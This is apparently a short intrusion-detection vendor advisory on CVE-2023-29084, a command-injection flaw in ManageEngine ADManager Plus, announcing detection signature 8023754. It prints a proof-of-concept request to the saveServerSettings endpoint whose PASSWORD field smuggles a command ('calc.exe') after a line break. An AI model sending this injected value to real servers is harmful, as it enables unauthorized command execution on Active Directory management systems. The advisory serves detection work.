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ManageEngine ADManager Plus Command Execution (CVE-2023-29084)

Application Details

An Active Directory (AD) management and reporting solution that allows IT administrators and technicians to manage AD objects easily, and generate instant reports.


ManageEngine ADManager Plus could allow a remote authenticated attacker to execute arbitrary commands on the system, caused by a flaw in the ChangePasswordAction function.


By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

POST /api/json/admin/saveServerSettings

admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f&params=[{"tabId":"proxy","ENABLE_PROXY":true,"SERVER_NAME":"localhost","USER_NAME":"hoangnd","PASSWORD":"asd\r\ncalc.exe","PORT":"8080"}]POST /configWizard/keyUpload.jsp


By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary commands on the system.


Idappcom have created signature 8023754 along with a traffic file for this vulnerability.


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